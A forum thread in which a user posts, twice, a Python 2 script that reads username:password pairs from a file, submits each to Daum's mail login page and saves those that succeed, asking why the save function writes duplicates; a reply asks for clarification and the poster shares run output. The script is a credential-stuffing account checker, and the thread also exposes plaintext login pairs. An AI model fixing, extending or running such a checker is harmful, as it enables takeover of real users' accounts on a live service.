1

hi
im making some website login checker.
all thing is almost no problem except resulted save function.
here is sample login id and password for test.
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32

to test this source in python,need to make some text file "daum.txt" and insert
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32
this two account in there.
i want to save only alive account but current source code can't function correctly,
all checking account saved.
thanks in advance

# -*- coding: 949 -*-
import sys, poplib, os
import httplib,urllib,sys

SAVEFILE = 'valid_accounts.txt'
maillist = "daum.txt"
valid = []
currline = 0

try:
    handle = open(maillist)
except:
    exit(1)

for line in handle:
    currline += 1

    try:
        email = line.split(':')[0]
        password = line.split(':')[1].replace('\n', '')
       
    except:
        exit(1)

    try:

        params = urllib.urlencode({'id':email,'pw':password})
        headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15",
                   "Accept": "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
                   "Accept-Language": "en-us,en;q=0.5",
                   "Accept-Encoding": "gzip,deflate",
                   "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7"}
        conn = httplib.HTTPConnection("login.daum.net:80")
        conn.request("POST","/Mail-bin/login.cgi?dummy=1215318486921",params,headers)
        response = conn.getresponse()

        data = response.read()
        valid.append(email + ':' + password)
       
       
        logged_in = 'The document has moved' in data
        if logged_in:
            print '[+] Checking: %s <%s> -> Valid!' % (email, password)
            save = open(SAVEFILE, 'a')
            #valid.append(email + ':' + password)
       
            for email in valid:
                save.write(email + '\n')
                save.close()   
                #quit()
                #handle.close()
                #exit(1)
                #pass
                #currline += 1
        else:
            print 'bad account!'

    except:
        print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
        pass
        #exit(1)
handle.close()
print '\n[+] Total Valid: %s' % len(valid)
print '\n[+] Done.\n'
Votes + Comments
lets get you out of the red :)
2
Contributors
3
Replies
5
Views
7 Years
Discussion Span
Last Post by james27
-1

hello
nobody can help me to resolve this problem?


hi
im making some website login checker.
all thing is almost no problem except resulted save function.
here is sample login id and password for test.
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32

to test this source in python,need to make some text file "daum.txt" and insert
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32
this two account in there.
i want to save only alive account but current source code can't function correctly,
all checking account saved.
thanks in advance

# -*- coding: 949 -*-
import sys, poplib, os
import httplib,urllib,sys

SAVEFILE = 'valid_accounts.txt'
maillist = "daum.txt"
valid = []
currline = 0

try:
    handle = open(maillist)
except:
    exit(1)

for line in handle:
    currline += 1

    try:
        email = line.split(':')[0]
        password = line.split(':')[1].replace('\n', '')
       
    except:
        exit(1)

    try:

        params = urllib.urlencode({'id':email,'pw':password})
        headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15",
                   "Accept": "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
                   "Accept-Language": "en-us,en;q=0.5",
                   "Accept-Encoding": "gzip,deflate",
                   "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7"}
        conn = httplib.HTTPConnection("login.daum.net:80")
        conn.request("POST","/Mail-bin/login.cgi?dummy=1215318486921",params,headers)
        response = conn.getresponse()

        data = response.read()
        valid.append(email + ':' + password)
       
       
        logged_in = 'The document has moved' in data
        if logged_in:
            print '[+] Checking: %s <%s> -> Valid!' % (email, password)
            save = open(SAVEFILE, 'a')
            #valid.append(email + ':' + password)
       
            for email in valid:
                save.write(email + '\n')
                save.close()   
                #quit()
                #handle.close()
                #exit(1)
                #pass
                #currline += 1
        else:
            print 'bad account!'

    except:
        print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
        pass
        #exit(1)
handle.close()
print '\n[+] Total Valid: %s' % len(valid)
print '\n[+] Done.\n'
Votes + Comments
don't like bumpers
0

can you provide traceback to your problem? I also don't understand what you mean by 'i want to save only alive account but current source code can't function correctly, all checking account saved.' Please elaborate on what the problem is

0

hello :)
i was paste result

C:\Python26>daum.py daum.txt
[+] Checking: bkozluxvghzb67 <ukrnvs37> -> Valid!
bad account!
bad account!
bad account!
bad account!
[+] Checking: bgirlndixvqc96 <uqzqim20> -> Valid!
[+] Checking: kicgnudgreuq10:atzjzp32 <uqzqim20> -> Invalid!
bad account!
bad account!
bad account!
bad account!
bad account!
bad account!
[+] Checking: wuyrahewwwth79 <jfeysv34> -> Valid!
[+] Checking: kicgnudgreuq10:atzjzp32 <jfeysv34> -> Invalid!
bad account!

[+] Total Valid: 14

[+] Done.

and result file name is 'valid_account.txt' and
content in this file is

bkozluxvghzb67:ukrnvs37
bkozluxvghzb67:ukrnvs37
bkozluxvghzb67:ukrnvs37

here problem is ,i want to get only Valid Account list,but current
result file is something very weird.
sorry for my bad english.
thanks in advance

can you provide traceback to your problem? I also don't understand what you mean by 'i want to save only alive account but current source code can't function correctly, all checking account saved.' Please elaborate on what the problem is

This topic has been dead for over six months. Start a new discussion instead.
Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules.